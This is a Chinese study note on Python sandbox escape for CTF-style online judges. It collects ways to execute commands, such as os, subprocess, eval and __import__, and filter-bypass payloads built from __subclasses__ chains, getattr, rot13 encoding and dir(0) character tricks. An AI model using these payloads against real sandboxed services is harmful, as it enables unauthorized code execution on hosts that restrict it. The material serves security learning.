python安全学习笔记

也学了挺久的python了,是时候对关于python安全的一些问题做个研究并记录下来了.参考这里python_Sec.

Python Sandbox Bypass

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程.

任意代码或者命令执行

一些常用的的函数方法:

os

1
2
3
4
import os

os.system('ls')
os.popen('ls').read()

platform

1
2
3
import platform

platform.popen('ls').read()

subprocess

1
2
3
4
5
6
7
import subprocess

subprocess.call('ifconfig',shell=True)
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()

#python3多了一个run方法
subprocess.run('ifconfig',shell=True)

如果shell=True的话,curl命令是被Bash(Sh)启动.所以支持shell语法, 如果shell=False的话.启动的是可执行程序本身,后面的参数不再支持shell语法.如果shell=False,你需要用数组表示.

1
2
3
4
5
6
7
subprocess.call('curl www.baidu.com',shell=False)#这样是会报错的
subprocess.call('curl www.baidu.com',shell=True)#改成True成功
subprocess.call(['curl','www.baidu.com'],shell=False)#用数组表示,第一个是命令,之后都是参数
#再看一个例子
subprocess.call('cat 1.txt',shell=True)#正确
subprocess.call('cat 1.txt',shell=False)#报错
subprocess.call(['cat','1.txt'],shell=False)#成功

exec(),eval(),execfile()

1
2
3
4
5
6
7
8
9
10
11
12
eval('__import__("os").system("ls")')
exec('__import__("os").system("ls")')
"""
execfile() 函数可以用来执行一个文件。
execfile(filename[, globals[, locals]])
filename -- 文件名。
globals -- 变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。
locals -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。
返回表达式执行结果。
"""
execfile('/usr/lib/python2.7/os.py')
system('ls')#os的所有函数都被直接引入到了环境中,可以直接执行

timeit

1
2
import timeit
timeit.timeit("__import__('os').system('ls')",number=1)

不一样的import

import机制

如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.dict[b]的方法间接访问模块b

1
2
3
4
5
6
7
>>> f = open('test.py')
>>> f.read()
'import os'
>>> import test
>>> test.os.system('dir')
###等价于
>>> test.__dict__['os'].system('dir')

__import__

import module == __import__('module')

1
2
3
__import__('os').system('ls')
#加上编码绕过
__import__('bf'.decode('rot_13')).system('ls')

importlib

importlib.import_module(name, package=None)

1
2
3
importlib.import_module('bf'.decode('rot_13')).system('ls')

importlib.__import__('os').system('ls')#python3新加,python2无

内置函数

不用引入直接使用的内置函数称为 builtin 函数,随着builtins这一个module 自动被引入到环境中.

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

内置函数搭配加密可以绕过字符串过滤.

1
2
3
__builtins__.__dict__['__import__']('os').system('ls')
#假如import和os被过滤
__builtins__.__dict__['__vzcbeg__'.decode('rot_13')]('bf'.decode('rot_13')).system('ls')

如果builtins的一些危险函数被del,可以用reload方法重载,就可以得到一个完整的builtins.

1
2
3
del __builtins__.__dict__['eval']
del __builtins__.__dict__['__import__']
reload(__builtins__)

但是在python3下,如果import被删除,就不能reload了,reload已经不在内置函数里了,需要导入imp库或importlib库,才能reload:

1
2
3
4
5
>>> del __builtins__.__import__
>>> reload(__builtins__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'reload' is not defined

引入object命令执行

python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro____bases__两种方式来创建.

1
2
3
4
5
6
7
>>> class A(object):pass
>>> class B(object):pass
>>> class C(A,B):pass
>>> C.__bases__
(<class '__main__.A'>, <class '__main__.B'>)
>>> C.__mro__
(<class '__main__.C'>, <class '__main__.A'>, <class '__main__.B'>, <class 'object'>)

__mro__方法可打印出其继承关系.bases方法可以获取上一层继承关系(如果是多层继承则返回上一层的东西,可能有多个).
创建object对象的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> ''.__class__.__mro__[2]
<type 'object'>
<type 'object'>
>>> ().__class__.__bases__[0]
<type 'object'>
>>> [].__class__.__bases__[0]
<type 'object'>
>>> {}.__class__.__bases__[0]
<type 'object'>
>>> ().__class__.__mro__[1]
<class 'object'>
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> {}.__class__.__mro__[1]
<class 'object'>
>>> [].__class__.__mro__[1]
<class 'object'>

通过object类的subclasses()方法可以获得当前环境下能够访问的所有对象.

1
2
3
''.__class__.__mro__[2].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()

subclasses()第40个是file类型的object,可以用来读文件:

1
2
3
4
5
>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>
>>> ().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
'\\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\\nIC+LX+9V/mpyKe9R3wIDAQAB\\n\n'
>>>

函数名过滤的绕过

如果我们成功导入了包,但是system等方法被过滤了,而这些关键字和方法是不能用字符串编码加密解密的,那怎么办呢?

__getattribute__

__getattribute__是属性访问拦截器,就是当这个类的属性被访问时,会自动调用类的getattribute方法.

1
2
3
4
5
6
7
8
>>> class Test(object):
... def echo(self):
... print('pass it')
...
>>> a = Test()
>>> a.__getattribute__('ec'+'ho')()
pass it
//假如echo这个字符串被过滤,我们无法直接调用echo方法,但是可以利用__getattribute__传字符串然后编码解码绕过过滤.

再看一个场景, 比如说一个沙盒waf了’ls’导致属性’globals’不能用,那么payload:

1
2
#python2
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')

转换成

1
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

  • func_globals:这个属性指向定义函数时的全局命名空间,返回它所有调用的基类和函数.
  • linecache模块的作用是将文件内容读取到内存中,进行缓存.
  • __init__:返回一个函数对象
  • __dict__:返回所有属性,包括属性,方法等

getattr

getattr() 函数用于返回一个对象属性值.

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> class Test():
... def __init__(self):
... self.name='chenxiyuan'
... def echo(self):
... print('pass it')
...
>>> a = Test()
>>> getattr(a,'name') #获取name属性
'chenxiyuan'
>>> getattr(a,'echo') #获取echo方法
<bound method Test.echo of <__main__.Test object at 0x7f3ff7d3ac18>>
>>> getattr(a,'echo')() #执行echo方法
pass it

这样方法名被过滤的时候也可以通过对字符串操作进行绕过,再看几个payload:

1
2
getattr(__import__('os'),"metsys"[::-1])('ls')
getattr(__import__('os'),'flfgrz'.encode('rot_13'))('ls')

再看看Smi1e大神的一个payload:

1
2
3
4
5
6
7
8
9
10
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
#假如`.`被waf,可以用getattr()来代替
[].__class__ ==> getattr([],'__class__')
[].__class__.__base__ ==> getattr(getattr([],'__class__'),'__base__')
[].__class__.__base__.__subclasses__()[59] ==> getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]#后面有括号
[].__class__.__base__.__subclasses__()[59].__init__ ==> getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'] ==> getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache']
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'] ==> getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os']
#最终payload
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')

  • __globals__:返回一个当前空间下能使用的模块,方法和变量的字典

当函数名或属性名用这种方法写成字符串后,可绕过的操作就很多了.比如_被过滤了.我们可以用dir(0)[0][0]代替,可以看看dir(0)是什么:

1
2
3
>>> dir(0)
['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__', '__delattr__', '__div__', '__divmod__', '__doc__', '__float__', '__floordiv__', '__format__', '__getattribute__', '__getnewargs__', '__hash__', '__hex__', '__index__', '__init__', '__int__', '__invert__', '__long__', '__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__', '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdiv__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'imag', 'numerator', 'real']
#dir(0)[0][0]返回的是列表的第0个元素的第0个字符,即'__abs__'的_

那么上述payload就可以写为:

1
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')